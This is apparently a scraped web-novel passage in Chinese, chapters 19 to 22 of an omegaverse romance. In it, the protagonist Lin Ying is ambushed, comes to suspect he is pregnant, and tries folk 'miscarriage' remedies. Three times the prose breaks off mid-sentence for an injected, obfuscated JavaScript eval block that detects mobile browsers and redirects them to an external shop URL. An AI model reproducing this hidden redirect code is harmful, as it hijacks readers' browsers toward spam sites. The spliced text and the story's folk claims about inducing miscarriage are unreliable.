他刚说完,就有两个大汉从一侧出来,他们不知道在那里猫了多久,一出来就向林迎靠近。 林迎现在是在一家咖啡厅的二楼,咖啡厅在一个小巷子里,没多少人来,李狗子估计也是看着这里没什么人才约他来这里见面。 “你忘了我是打架长大的?”林迎不屑,打架这事,林迎还真的没怕过谁。 “我当然知道。”李狗子捂住口鼻,突然把一个瓶子砸向林迎。 林迎躲开嫌弃看着耍小动作的李狗子,后者漫不经心说:“你不会以为我指望一个瓶子砸晕你吧?” 一股信息素袭来,林迎看向身后碎了的瓶子,猛地捂住口鼻。李狗子的目的不是砸中他,而是用欧米伽信息素干扰他! 两个大汉是贝塔,完全不受影响,林迎有些头晕,他看了眼靠近的两人,一狠心翻过栏杆从二楼跳下去。 “追!” 林迎听到李狗子的命令,他拔腿就跑,闻到了欧米伽信息素,他很难打得过不受信息素影响的贝塔,以后有的是机会找他们算账! 他跳得太过干脆,那两个贝塔愣了下。听到李狗子的话,才连忙也跟着翻到一楼去。 身后的两人穷追不舍,林迎抽空喊了一句:“他给你多少钱?我给你们双倍!” 身后两人没有回话,林迎纳闷,难道不是李狗子花钱雇来的?怎么他愿意出双倍的钱他们一点也不心动? 不等他多想,身后两人已经快追了上来,林迎腿有些软,都怪那欧米伽信息素,那欧米伽信息素里估计还加了其他东西,林迎用力甩了甩头,埋头继续跑。 前面是个岔路口,林迎正准备拐弯,前面却突然跑来一个人拦住了他的去路。他一顿,那人正恶狠狠地盯着他,一眼便知也是李狗子的人。 林迎抬脚就踹,对方被他踹倒在地,伸手顺势抱住他的腿。他踹了两下,对方也没松手,身后追的人已经上来了。 他抬手挡住其中一人的拳头,另一人手中不知什么时候拿了棍子,直接敲向他脑袋。林迎一时没防备被敲中,摔倒在地,眼前渐渐模糊,他听到李狗子假模假样可惜的声音:“老实等着不好吗?非得遭这个罪。” 眼前泛黑,林迎还想骂两句,晕前他听到有汽车靠近的声音,紧接着便是惨叫声。他眨了眨眼,眼前的人影已经不在了,紧接着他感觉有人抱起他,他努力想看清,只是没看到人他就晕了过去。 林迎头疼得很,被砸到的地方钻心地疼。他醒来看着白茫茫的一片,眼珠子转了转,好半晌才反应过来这是在医院。 再往一侧看去,他的床边放着一张椅子,椅子上空荡荡的,没有人。林迎心里不安,总觉得救他的人有些熟悉。他撑着身子坐起来,抬手去摸额头,额头上裹了纱布,一碰就刺疼。他龇牙咧嘴地收回手,抬眼看到门口站着的人。 谢相连沉着脸走到他面前,抓住他的手。 “做什么?”林迎甩开问。 谢相连:“你很闲?喜欢自讨苦吃?” 林迎皱眉了:“什么叫做我很闲?”他分明是为了要回他妈的首饰还有谢相连的钱财才和李狗子见面,现在这么一说倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294904|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是他不务正业,故意去惹事一样。 谢相连沉声说:“你这样倒不如关着你。”把他关在家里安全,这样林迎总不会出事。 他这么想着,嘴里的话说得倒像是真的嫌弃极了林迎到处惹事一样,林迎立马炸了:“你有病吧?你什么关系就想关我?你这是在犯法!犯法你懂不懂?”他特意强调了“犯法”二字,就怕谢相连这疯子真的想把他关起来。 谢相连看着他不说话,林迎被他看得后怕,掀开被子下床没好气说:“医疗费多少?我转你。” 他想和谢相连断得干净一点,谢相连看着他,刚想张口,林迎就说:“算了,反正我那点钱你也瞧不起。”匆匆丢下这句话,林迎头也不回离开病房。 打了车回到家里,头还痛得很。想起李狗子的事,越想越生气,钱财没要回来,反而还被李狗子一顿算计。这传出去还怎么混? 他心里不得劲,干脆去找苏子珩。苏子珩刚要出门,就又被林迎堵个正着,哭笑不得问:“您这是做什么?把自己搞成这样,叔叔揍你了?” 林迎说:“我爸才不会做这种事。” 林迎倒苦水般地把他和李狗子之间的事说了,苏子珩听完评价道:“你也真是的,他那人那样,你还敢去见他?” 林迎瞪着眼不服气:“那我就当做什么也没发生,让他白占便宜?” 怎么苏子珩也说这种话,难道他真的想得太简单了? 苏子珩耸肩,林迎像回到自己家一样在沙发上坐下:“拿点酒……” 话说到一半又说:“算了,有没有其他吃的?”忙活了大半天,才想起他没怎么吃饭。 苏子珩说:“我喊阿姨过来给你做饭。” 也自己平时也是不做饭的,都是阿姨上门给他做饭。 林迎说:“拿点对付的得了,哪有那么矫情。” “你说随便的啊,等会儿别嫌弃不好吃。” 林迎摆手,示意他去弄。苏子珩倒也简单,找了点速食简单煮了,端上来。林迎吃了两口,恢复了点力气,想起谢相连,随口吐槽道:“阿尔法都是下半身动物,除了那点事,还能想什么?” 苏子珩想了想说:“你也是阿尔法。”他当然可以解释阿尔法并不都是下半身动物,但是这么说能最快堵住林迎的嘴。 林迎顿了好一会儿,咬牙切齿说:“……闭嘴。” 苏子珩在嘴上做了个拉链的动作,表示自己会闭嘴。 林迎吃完正休息着,突然犯恶心,捂着嘴干呕了一下,抬眼看对面。 两人面面相觑,林迎皱眉问:“你在刚刚的饭里放的什么?” 苏子珩好笑:“还能放什么?就是煮了一下,我刚刚也吃了两口,也没什么啊。” 林迎又干呕了两声,脸色嫌弃看着苏子珩,不知道的还以为是苏子珩长得恶心。 苏子珩被他看得莫名,他就算不是绝世帅哥,好歹也算小帅哥吧,林迎这什么表情? “喂,你不能怪到我身上吧?” 林迎不说话,他觉得就是苏子珩的问题。 苏子珩:“……”好心好意做饭给人吃,结果还被嫌弃上了。 看林迎不爽的模样,苏子珩转了转眼珠子,笑着开玩笑说:“你这模样,该不会是孕反吧?” 林迎脸色一沉,猛地起身,恶狠狠瞪苏子珩。 “我开玩笑的,你别激动啊。” “你……”林迎张嘴想骂,结果一张嘴,又是一声干呕,捂着嘴猛地冲到卫生间,干呕半天,抬头看着镜子里的自己,立马想起谢相连,下一秒气得脸都红了。 20. 第 20 章 苏子珩心里不安,担心真的是他的东西把林迎给吃坏了,不然反应那么大,林迎的反应也不像是在耍他。他在门口来回踱步好几次,抬手想敲门,又怕把里面的林迎给惹得火气更大,最后还是老老实实地在门口等着。 林迎出来的时候脸色难看,瞥了他一眼,收回视线。苏子珩还没说什么,林迎就恶狠狠威胁说:“你敢到处乱造我的谣言,看我怎么收拾你。” 苏子珩没反应过来林迎的话是什么意思,等林迎出了门离开,他才反应过来,林迎说的是他随口说的一句“孕反”的玩笑。 他当然不会觉得是真的,林迎怎么说也是个阿尔法,怎么可能怀孕?林迎怎么还当真了,不小心撞到脑袋,还把脑袋撞坏了?苏子珩在心里腹诽,到底没有把这些话说给林迎听。 林迎离开后,开车到了医院门口,纠结许久,还是把车开走。苏子珩就会给他制造焦虑,他个阿尔法拿什么怀孕?吓得他来了医院,碍于面子没有进去。 想了半天,才说服自己不可能会怀孕,开着车慢悠悠地逛来逛去,逛着逛着又开始不安起来。他是阿尔法,不可能怀孕,可他也确确实实和谢相连有过接触,更可恶的是,他还是下面那一个。 万一真的被苏子珩说中了呢? 林迎煎熬半天,最后给苏子珩发了一段语音。 苏子珩毫无防备点开语音,就听到林迎破口大骂:“你脑子是不是有毛病?整天说些有的没的!” 苏子珩被骂得僵在原地,他好端端的又做什么了?从林迎离开后,隔了四个小时突然又发语音来骂他。是他想太多了,还是林迎的反射弧太长了?苏子珩看了一眼手机,最后决定当做没看见。 另一边,林迎发泄完也没想要得到苏子珩的回应,回到家里重重把手机丢在床上,倒在床上看着天花板,头又开始疼了起来,那股子恶心劲又起来了。 他跑到卫生间对着盥洗池干呕了一会儿,又什么都没有吐出来。他有些狼狈,洗了个脸,心里的疑虑又重了几分。到底是怎么回事?怎么好端端的突然会犯恶心? 隐隐有些头晕,昏昏沉沉去睡了一觉。醒来下意识去搜怀孕有什么症状,看到说会孕反,看到荤腥会想吐,也会比平时嗜睡。 林迎抱着侥幸的心理去了餐厅,点了一堆油腻的菜品。菜品一上来,他吃了两口,没有什么反应,欣喜地又吃了两口筷子再下不去了,他好端端的又突然开始想吐,看见眼前的菜也觉得恶心得很。 他付了钱转身就走,一定是他肚子不饿,所以看到荤腥才会觉得恶心。 抱着这个心理,林迎特意等到饿的时候再去尝试,可这次依旧对着荤腥没有半点食欲。店员给他上菜的时候,他当着店员的面干呕了两下。 店员吓得连忙去看菜,菜和平时一样没有问题。他有些忐忑问:“您还好吗?” 林迎瞪他,服务员被瞪得莫名其妙,结巴问:“先生,您有什么不满可以说……” 服务员等了半天却等到林迎起身。林迎说:“带我去结账。” 林迎结账走了,服务员还是一阵后怕,不明白哪里惹得林迎不开心。 林迎刚出门就碰到许一一,他下意识去看许一一身后,许一一立马欣喜说:“林少爷,真巧啊,您也在这!您是在找我家老大吗?他在后面。” “谁找他。”林迎快步离开,可还是碰到了进来的谢相连。碰到谢相连的一瞬间,林迎很明显感受到他的胃好受了很多。这个发现让他脸又黑了几分。 他看到谢相连应该想吐才对,顿了一下,他又庆幸还好没有当着谢相连的面吐,不然指不定谢相连这疯子会做什么。 他假装无事往外面走去,谢相连拉了他一下。林迎手脚并用去推谢相连,挣扎间打了谢相连两下。林迎一脸警惕地看他:“别动手动脚。” 谢相连刚想说什么,林迎又奇怪问:“你怎么会在这里?你跟踪我?” 许一一连忙解释说:“林少爷,这是谢氏集团的产业。”言外之意是谢相连来这里吃饭很正常,倒是林迎来这里,难道不是抱着想要遇到谢相连的心思? “是谢氏集团的,我就不能来?”林迎问。 许一一看了一眼谢相连的眼色,笑着说:“当然不是,您想来尽管来。就是和您说一下,您想来的话,报我家老大的名字就可以,这边会给您留最好的座位。” 伸手不打笑脸人,林迎沉默片刻看向谢相连。 谢相连问他:“吃饱了?” 林迎说:“你很闲吗?”这话是故意呛谢相连的,也是为了提醒他,谢相连来这里是有正事干,可不是和他拉拉扯扯的。 许一一很有眼力见说:“没事的,林少爷,您比起生意要重要得多。我先进去,你们慢慢聊。” 许一一一个闪现就进去了。 林迎毫不在意说:“我和你没有什么好聊的。” “你在躲着我?”谢相连问,“因为白天我的话?” “和你有关系吗?”林迎语气不善。 谢相连不满皱眉,他并不觉得他白天说的话有什么不对。与其让林迎总是作践自己,不如他好好把人养着,这对他对林迎都是好事。 林迎看着谢相连,心中忐忑,怕再聊下去他会忍不住干呕,没好气说:“我很忙的,你要再拦着我,你今天这生意也别想做了。” 谢相连沉默,生意还是得做的,失信对一个商人来说并不是好事。 林迎又开口说:“我喜欢欧米伽,你以后别再来烦我了。”他故意挑衅说,“如果你能变成欧米伽的话,那我也不是不能考虑你。” 什么喜欢不喜欢欧米伽的,他从来没想过要不要去喜欢谁。不过如果这个谎言能让谢相连放过他的话,那他的谎言也值了。 谢相连冷笑问:“你喜欢欧米伽?” 林迎被他盯得头皮发麻,他绷着脸硬着头皮说:“阿尔法喜欢欧米伽不正常?” “是,确实很正常。”谢相连附和他道。 林迎满意说:“你能想通最好。”说完转身快步离开,他的背影活像是怕被谢相连抓回去。 看着林迎离开的背影,谢相连若有所思。别的不清楚,他可太清楚林迎是什么样的人了。林迎从没喜欢过任何人,就算是欧米伽,他也没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294905|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过。现在说自己喜欢欧米伽,不用想也知道是故意说给他听的。 林迎这人算不上多好,还喜欢欺负人,阿尔法、贝塔、欧米伽他都欺负过,只不过他对欧米伽没有对阿尔法和贝塔那样残忍,背后的原因仅仅是因为林迎的母亲是欧米伽,所以对欧米伽在某种意义来说还算不错。 但也仅仅如此,林迎故意和他说自己喜欢欧米伽,他若有所思,既然他喜欢欧米伽,那他也不是没有法子。 林迎离开没多久,那股恶心感又从胃部涌上来,走没两步,他在一个公园停下休息。心中不解为什么会这样,一定是光顾着和谢相连斗嘴,暂时忽略了那股恶心,他这么安慰着自己。 路边正好在卖酸嘢,闻着味道,他的胃好受了不少。上前买了一份,坐在路边嚼着,这次倒是没有犯恶心,直到吃完,他摸了摸肚子,长长叹了口气。 他得想办法,不能继续这样下去。想知道为什么会犯恶心,最好的办法是去医院查查原因。可去医院他要挂什么科?挂什么母婴科吗?还是什么妇科? 一想到去这两个地方,他就汗毛直立,他好端端的一个阿尔法去这种地方,那不如杀了他来得痛快。 摸着刚吃饱的肚子,林迎思绪转得很远。如果真的是怀孕的话,那把孩子打掉不就好了,谁说一定得去医院?不是有很多偏方会流产吗? 他可太清楚流产又多简单,他妈没少在他耳边说怀他的时候担心滑胎,这不敢吃那不敢吃的。听多了她的意思,简单总结下来就是怀孕不容易,保住孩子更不容易,稍一不小心孩子就会没掉。 林迎说干就干,立马就上网开始查怀孕时不能吃什么。各种答案都有,什么不能吃寒性的,只要是寒性的东西都有概率会导致流产。还有怀孕的时候也不能化妆,不然也会流产。 林迎看着这一条有些奇怪,化妆会流产吗?难道化妆的时候要把那些化妆品吃进去给孩子尝尝吗?不然他想不明白为什么化妆会导致孩子流产。 他仔细看了一眼,发现说会流产的那一方大多说是说是因为化妆品有的重金属含量超标,所以才会导致流产。林迎本来也没打算试化妆品,看到这些评论,转而去看其他的法子。 寒性的无非就是一些水果还有海鲜之类的,海鲜他爱吃啊。林迎想着干脆去了一家自助海鲜,这一位就接近三千块钱,什么海鲜都有。 他坐下就对着服务员说:“所有海鲜都给我上一点。” 服务员正要去拿,林迎又叮嘱:“我最近火气大,多拿一点寒性的海鲜。” 服务员古怪地看着林迎,降火气吃海鲜?他不解归不解,但到底没有说什么,去帮林迎拿海鲜。 海鲜拿过来了,林迎吃了一半,就感觉胃部一阵阵抽疼,像是有人在他的胃里搅动。他跌跌撞撞跑去卫生间,把刚吃进去的海鲜都吐了出来,面如菜色回到桌前。 服务员已经惊得把他们经理都叫了过来,正站在林迎的桌子旁忐忑问:“您还好吗?” 担心他是吃他们的海鲜吃出毛病,传出去,他们可以闭店不做了。林迎一张嘴又当着他们的面,“哇”的一声吐了出来。 21. 第 21 章 他想杀人灭口——林迎脑海冒出一个念头。 “我送您去医院吧。”经理连忙说。 林迎紧张担心送去后会被看出来他身体有孕——虽然不信邪,但除了怀孕,他想不出为什么会总是想吐,他立马说:“没事,不许和别人说我来过这里。” 经理巴不得不知道有人知道林迎在他这里吐了,连连点头。 林迎虚弱地坐在车里,半晌都没有动作。他吃完只是胃难受,肚子并不难受。可他都吐成那样了,难道还没解决掉他肚子里的孩子? 不愧是他,连怀的孩子都生命力这么强。林迎苦中作乐了一会儿,顺手又去买了点可乐,不是说可乐杀精吗?他喝点可乐,也许也有点用。 林迎胡吃海喝,肚子里的孩子有没有打掉他不清楚,只知道再这么下去,他绝对得吃出命来。 为了自己的身体着想,林迎决定换个法子。玩过太刺激的项目,也会导致流产,那他就去游乐场里的极限运动都玩一遍不就行了。 什么蹦极、跳伞,他通通没有放过。他到处玩的事很快就在他那群狗腿中间传开,纷纷在群里问他去玩怎么不带上他们,是不是不想带他们玩了。 林迎不想让他们知道自己怀孕,找了个借口敷衍他们,自己一个人跑去飙车。飙车的时候特意找了一下,确定谢相连不在这里,痛痛快快飙了个车。 这么一通玩下来,林迎自觉已经算尽力了,可当天晚上回到家里,毫不意外的又开始干呕起来。 林迎脸色难看,他都这么做了,怎么还像是什么事也没发生。还有一些看着比较偏的法子,林迎看了一眼,觉得如果会信,绝对是脑子有问题,谁会相信穿丝袜就会导致流产?这是哪个脑残的发言?林迎嗤之以鼻。 这几天他难受得很,再折腾下去怕把自己折腾坏,决定去吃点好吃的犒劳自己。路上看见一辆车停在路边,而路边站着的两个人越看越眼熟。 他把车开过去,看到苏子珩还有许一一。两人似乎在说什么,见到林迎来了,同时没了声音。 “你们两个在这里做什么?” “林少爷。”许一一欲言又止。 林迎警惕道:“你们俩不会在说我坏话吧?” 想起上次苏子珩看到他反胃的样子,瞬间就冒出了无数个苏子珩蛐蛐他的场面。他立马下车,走到两人面前,刚想说话,先就当着两人的面突然干呕了一下。 “……” “……” “……” 苏子珩古怪看着他,还没开口,一旁的许一一好奇说:“林少爷,您怎么那么像是孕吐?”他有些紧张,不想林迎询问他们在说什么,故意说了个不可能的话题试图活跃气氛。 一句话把本来就警惕的林迎内心的火给点着了,上前一个刀手把人劈晕。 苏子珩一惊,把人接住,震惊问:“你这是做什么?” 林迎眯着眼说:“我和你说过不要乱说什么。” 苏子珩一头雾水:“我没他说什么啊。” “那他怎么会说我孕吐?” “他只是开个玩笑。”苏子珩抱着人,越发觉得他看不懂林迎在想什么。 林迎一顿,说:“不信,把人带到车上。” “你要做什么?”苏子珩警惕抱着许一一后退两步。 “没做什么,是你自己抱过来,还是我亲自动手?” 苏子珩商量着说:“先说好,你不能伤害他。” “知道了,我像是那种知法犯法的人吗?我还是有点事要问他。”林迎不耐烦。 苏子珩抱着许一一上了林迎的车。 车开到了苏子珩家里去,见着是到他家,苏子珩松了口气,在他家里,好过在林迎那边。有他看着,林迎真要做点什么他还能阻止一下。 许一一醒来,就见自己被五花大绑在椅子上,看着眼前两个人,眼泪立马就流下来了:“二位大爷行行好,我只是个打工人,有什么事你们找我老大行吗?” “找你老大干嘛?我有事问你。”林迎拉了张椅子在他对面坐下。 苏子珩低声说:“别把人吓坏了。” 林迎瞪他:“不是,你从刚刚开始怎么一直为他说话?” 苏子珩无辜举起双手说:“没,我这不是向着你吗?你把人吓坏了,他还怎么回答你的问题?” 林迎想了想,好像确实是这个道理,但并没有完全相信苏子珩的话,苏子珩和许一一肯定说的什么见不得人的话,不然为什么怕被他知道? “我还要工作呢,林少爷,您放我走吧。”许一一战战兢兢开口求饶。 “让你走也不是不可以。” 许一一眼睛一亮,林迎又开口说:“你给我发毒誓,绝对不会到处乱说。” 许一一迷茫眨了眨眼,问:“乱……乱说什么话?”刚刚距离那么远,林迎没道理听到他和苏子珩的对话啊。 “你再装一个试试?”林迎不满许一一的回答,抬脚踩在许一一坐着的椅子上。许一一哆嗦了一下,生怕下一秒这脚就会踹到他身上,欲哭无泪问:“我是真的不知道您在说什么。您不如给我点提示。” “我刚刚一靠近你们,你们两个就没声了,不是在说什么?” 许一一着急看向苏子珩,林迎立马挡住他的视线,抬起他的下巴,强迫他看自己:“和你说话,你看他做什么?指望他帮你求情?我和他是什么关系?他又和你是什么关系?”他说这些话的时候故意扭头看了苏子珩一眼。 苏子珩赔笑说:“真没有帮他求情,你也别那么气。” 苏子珩伸手放在林迎肩头上,帮他捏了捏肩头,说,“有话好好说,你刚刚来之前,我们在说点私事。” “私事?”林迎哼笑出声,“私事,你承认了是吧?今天你们俩都别想离开这里。” “你在开玩笑吧……”苏子珩勉强说,可看林迎没有搭理他,他开始紧张,着急解释说,“我们真的没有说你坏话!” “我还没说你们说什么,你自己倒是先承认是在说坏话。” 苏子珩张嘴想说话,最后化作长长的叹息,给许一一使眼色说:“我们绝对不会和任何人说,可以吗?咱们兄弟那么多年,这点事你总该信我吧。” 虽然他们明明没有说林迎坏话,到现在也还不清楚林迎在生什么气,但是先答应他总没有错。这么想着,他又给许一一使了眼色。 许一一接收到他的眼色,他立马用力点头说:“对,我们都听您的,绝对不会到处乱说。” 林迎看他们两人眼神交换,忍了忍,说:“这一次就先放过你们,要是有下次,别怪我不客气。” 苏子珩和许一一两人都十分配合地点头。林迎翻了个白眼,让开让苏子珩给许一一解开绳子。 解开了绳子,林迎没忍住问许一一:“他和你说我怀孕,你就相信他了?” 许一一“啊”了一声,不解看着他,什么怀孕? 苏子珩震惊说:“我们刚刚不是在说这件事!” 林迎一愣,嘴硬道:“不可能,如果不是你和他说,他怎么突然说我像在孕反?” “大少爷,我不是和你说了吗?他只是开个玩笑。”苏子珩扶额,敢情是觉得他在造谣他,才气成那样。 许一一连连点头说,“对呀,我只是开个玩笑。虽然您刚刚那样子确实像是孕反,但是您是阿尔法,怎么可能会怀孕呢?” 林迎感觉他的大脑像是被僵尸吃了,宕机半天,好半晌才说:“那你们瞒着我说什么了?” “私事,大少爷,私事!能听得懂吗?不方便和你说啊。”苏子珩压低声音说,“我们没说过任何您的事,您可以放他走了吗?” 许一一乖乖地站着等着苏子珩替他说话。两兄弟嘀嘀咕咕说了半天,林迎彻底打消了疑虑,相信苏子珩没有出卖他。 “行了,相信你们的话,你们可以走了。” 苏子珩提醒说:“这是我家。” “你家就你家,你家很了不起?”林迎翻了个白眼。见许一一准备走了,还是问了一嘴:“你们两个为什么在一起?” “真的不能说,”见林迎又开始犯死脑筋,苏子珩笑着故意说,“这不是最近看你和谢相连走得近,想帮你问问许一一,谢相连这人怎么样?也算是给你未来的夫家把把关了。” “去你的!”林迎抬脚踹了苏子珩一脚。苏子珩依旧嬉皮笑脸,和许一一说,“行了,你走吧,要不要我送你?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294906|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许一一迟疑了下说:“不用了,我自己走就好。”他临走前不放心说,“林少爷,您要保重身体呀。” “什么?”林迎问他。 “您突然想吐,可能是吃错了东西。” 苏子珩又开始嬉皮笑脸说:“说不准他真的是怀孕了呢?” 不等林迎生气,许一一就一本正经说:“怀孕的人会有很多症状,也很辛苦。林少爷可能是最近和有身孕的人接触过,不小心也被传染了。” “这东西还能传染?”林迎奇怪问。 “不知道林少爷有没有听过,有时候怀孕的人不会孕反,反而他的对象却会孕反。这种现象很神奇。所以您突然有这种反应,是被其他有身孕的人传染的。” 他这么说,林迎倒是有了个可以借口自己为什么会想吐的理由了。 许一一给说上头了,还在喋喋不休说:“您的症状有点严重,是孕妇那边身体不太好吗?” 林迎顺着他话说:“确实不太好,他有点严重。” “那您可以和他说,记得让他的伴侣多给他一点信息素。孕期期间,伴侣的信息素对于孕反严重的人有很大的安抚作用。” 林迎立马就想起了谢相连,可让他去找谢相连,让他给自己信息素,这是不可能的。他叹气说:“他情况比较特殊,他是个贝塔,感受不到阿尔法信息素。”他这么说,许一一以后应该不会再问他为什么也会跟着想吐了。 许一一遗憾说:“那很可惜了,不过在伴侣身边还是能让身体舒服一些的。” “行了,你和他说那么多干什么?他像是那种会关心人的人吗?”苏子珩揽着许一一的肩膀,把他往外带。 林迎看着他们两人一前一后离开,悄悄地去了卫生间。从刚刚开始,他就一直想吐,尤其是许一一聊起怀孕的话题。他按了按肚子,上面腹肌还很明显。这孩子他是不可能留下来,但他也确实难受得很。 如果谢相连的信息素能让他好受一些的话……他纠结,或许不是不可以朝谢相连要点信息素。只要他不说,谢相连也不会发现他肚子里有他的种。只是去借点信息素而已。 他这么想着,干脆就去找谢相连,反正是谢相连欠他的,他要信息素要得理直气壮。 林迎就这么直接去了庄园,平时有工作谢相连应该很少来庄园,但他今天刚来,晚上谢相连也来了庄园。林迎不用想也知道他肯定是在房子里安了监控器,所以才知道他来了。 谢相连挑眉问他:“来做什么?” 林迎说:“这不是我的地方?我想来就来。” 他嘴硬,见谢相连还站着,莫名就觉得烦躁。他是来找谢相连没错,但并不妨碍他看到谢相连心情就一个劲地往下跌,“倒是你,这不是我的地盘吗?你来干嘛?” 谢相连笑了下,说:“我以为你是来找我的。” 林迎嘴硬:“我没事来找你?我有受虐倾向啊。” “既然没事,那我走了。” “等一下,”林迎立马起身,生怕他真的走了,迟疑说,“我有点事要和你谈。” 谢相连点点头,在他对面坐下。 林迎随口扯了个话题:“股份现在真的是我的了?我年底能拿到分红?” 谢相连好笑道:“就是为了问我这个?” 林迎不自在,可又理直气壮地说:“我想问什么是我的自由,再说了,我怎么知道你会不会偷偷把股份想办法要回去。” “我建议你去上点专业课。”谢相连诚心建议。 “你别管我要做什么,”林迎想方设法挑衅,他希望谢相连能放出信息素来,“我上次和你说过,如果你能变成欧米伽的话,我也不是不能考虑你。” “今天也不早了,我先回去了。”谢相连没搭理他的话,起身离开。 林迎古怪,今天谢相连怎么好像在躲着他一样?这可不像谢相连平时那狗皮膏药的模样,什么时候都要黏着他。 “你今天要是走了,以后你别再来找我。”林迎威胁。他就不信谢相连就这么轻而易举地放过他,如果那么简单就放弃,那他之前做的那些努力算什么? 他话一说,谢相连果然留了下来,警告他说:“我留下来对你没有好处。” 22. 第 22 章 见有要激怒他的意思,林迎越发起劲:“这是我的地盘,我还不至于被你牵着鼻子走。” 谢相连幽幽看着他,沉声警告:“我说认真的,我在这里,我不能保证我不会对你做什么。” 林迎握了下拳,又缓缓松开说:“你说过不会强迫我做我不想做的事。”前面有几次都是他半推半就配合着的,除了第一次,还没有哪一次是谢相连完全强迫他。 林迎十分自信:“毕竟你比我懂法,是吧?” 谢相连笑了笑,说:“是,我是不会违反法律。” 见林迎自信满满,谢相连索性坐下,笑着看他,“没有你的允许,我不会对你做什么,但如果你也同意,那性质就不一样了。” 林迎嗤笑说:“你想我同意什么?你觉得我会同意吗?” 谢相连耸肩说:“话可别说的太满。” 林迎不屑挑眉:“话说的太满的人是你。” “你可想清楚了?”谢相连最后警告,虽然不知道谢相连为什么要留他下来,但他乐意至极。 林迎哼了一声当做回答。 “今天留我下来,我们还要分房睡?”谢相连好奇林迎想做什么。 林迎理所当然说:“当然分房睡,有什么理由我和你睡一间。”他努力刺激谢相连,想让他和第二次见面一样释放信息素,可今天的谢相连实在是沉得住气,到现在还云淡风轻地和他聊天。 两人现在的相处模式实在诡异。对谢相连来说,他留下来的目的很明确,他想接近林迎,想知道他要做什么。林迎只是想从他身上获取一点信息素,却碍于面子无法开口。 阿尔法不会主动和阿尔法要信息素,就算真的好奇对方的信息素,听起来也像是挑衅。林迎和谢相连的关系,不是普通阿尔法之间的关系。他跟谢相连这种变态要信息素,和当着谢相连的面说他也喜欢阿尔法没有区别。 两人相对无言,林迎沉不住气,万分嫌弃说:“懒得和你说话。”他说完就往楼上去,嘴上说着这庄园是他的了,他去的还是之前的客房。 林迎关上门,咬着指甲,皱眉。今天怎么惹谢相连生气,谢相连都不生气。他现在只是想快点要到点信息素,之后离他远远的,和他相处越久,他越不自在。 林迎从来没有像现在这样好学,他上网搜索如何令一个阿尔法释放信息素。大多数词条下面都是欧米伽有心仪的阿尔法,但碍于面子,大多数都希望伴侣或者暗恋对象先释放信息素。把第一页搜索词条都翻完,都是这种情况。 林迎面无表情把搜索页面关上。 距离他上次离开这庄园已经有一段时间了,这屋里却还若有若无有着谢相连的味道。也有些许信息素,但信息素残留的量太少,几乎可以忽略不计。 林迎想做实验也没办法,纠结半天,最后鼓起勇气敲了主卧的门。 不就是要点信息素?心思不纯的人是谢相连,又不是他,他为什么要站在谢相连的位置想事情? 林迎敲了门后,没等里面的人应就推开门。谢相连在屋内看着平板电脑,见他进来,有些意外。 林迎大声说:“放点信息素给我。” 谢相连一顿,正欲问什么。 林迎拔高了音量说:“我说让你放点信息素,你耳朵聋吗?” “你要做什么?” “你管我要做什么,你就说你愿不愿意?不愿意就算了。”林迎的勇气已经用完了,扭头想回去,刚走两步,就听谢相连妥协说:“行,你想要我就给你。” 不管出于什么原因,林迎想要他的信息素是一个好征兆。或许林迎迟钝的脑子终于开始转动,也意识到他是喜欢自己的。 谢相连从来没有疑惑过林迎会不会不喜欢自己。他有钱有颜有身材,如果他都满足不了林迎,那这世界上就没有人能满足林迎了。 自恋又自大,偏偏他又有这个资本。 丝丝缕缕的信息素靠近,林迎一瞬间就绷紧了身体。他的大脑在叫嚣,身体下意识地想逃离。脚步后退了两步,林迎将自己钉在原地,压下冲动,不断提醒自己,他来这里的目的是为了谢相连的信息素,现在谢相连愿意释放信息素,他应该争分夺秒地试图吸取他的信息素,让他自己身体舒服一些才对。 他没有想象中依赖谢相连的信息素,他只觉得头疼。待的时间越长,那排斥反应越明显。不过短短几分钟,林迎额头已经渗出细密的汗珠。他急忙道:“够了,放那么多干什么?” 谢相连很快就停了下来,门开着,信息素浓度渐渐散去。林迎缓了许久才不爽说:“只是让你放一点,你放那么多干嘛?炫耀什么?我也是阿尔法,你有的我也有。” 谢相连被他念叨得一头雾水,要他释放信息素的人是林迎,指责他释放太多的人也是他。好像不管他做了什么,永远都没法让林迎满足,谢相连选择沉默以对。 他的沉默在林迎看来,却是默认了刚刚是故意释放那么多信息素折磨他。 同类的信息素带来的烦躁被无限放大,林迎几乎是没事找事:“果然阿尔法就是不如欧米伽那样香香软软。” 他故意长叹了口气,可惜道:“如果你是欧米伽就好了。”他知道谢相连最不想听到他说什么,字字句句都往谢相连的心上扎。 